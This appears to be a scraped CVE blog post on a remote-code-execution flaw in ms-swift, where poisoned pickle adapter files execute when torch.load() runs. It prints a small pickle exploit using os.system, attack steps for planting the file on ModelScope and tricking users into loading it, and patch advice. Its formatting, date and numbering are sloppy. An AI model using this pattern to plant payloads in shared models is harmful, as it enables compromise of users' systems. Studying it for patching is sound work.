Listen to this Post
How the CVE Works
The vulnerability occurs when ms-swift processes malicious adapter model files from ModelScope. Attackers craft pickle-serialized files containing arbitrary Python code, which executes during torch.load() deserialization. When a user downloads and loads a poisoned adapter (e.g., adapter_model.bin), the embedded payload triggers RCE. The exploit leverages unsafe deserialization in PyTorch (<2.6.0) while ms-swift’s version check (≥2.0) fails to block vulnerable torch versions. The attack flow:
1. Attacker uploads a malicious model to ModelScope with a pickle payload (e.g., os.system("touch /tmp/malicious.txt")).
2. Victim downloads the model via safe_snapshot_download(), storing it in ~/.cache/modelscope/hub/.
3. During training, `torch.load()` deserializes the file, executing the attacker’s code.
DailyCVE Form
Platform: ms-swift
Version: <3.7
Vulnerability: RCE
Severity: Critical
Date: 2023-XX-XX
Prediction: Patch expected Q1 2024
What Undercode Say
pip install ms-swift -U
swift web-ui --lang en
torch.load("malicious.bin")
import pickle, os
class Exploit:
def <strong>reduce</strong>(self):
return (os.system, ("id > /tmp/pwned",))
pickle.dump(Exploit(), open("payload.bin","wb"))
How Exploit
1. Host malicious pickle file on ModelScope.
- Trick user into loading it via ms-swift’s training interface.
3. Payload executes on deserialization.
Protection from this CVE
- Update PyTorch to ≥2.6.0.
- Upgrade ms-swift to ≥3.7 (disables
torch.load). - Validate adapter files pre-load.
Impact
- Full system compromise via RCE.
- Data theft/backdoor implantation.
- Model integrity breach.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
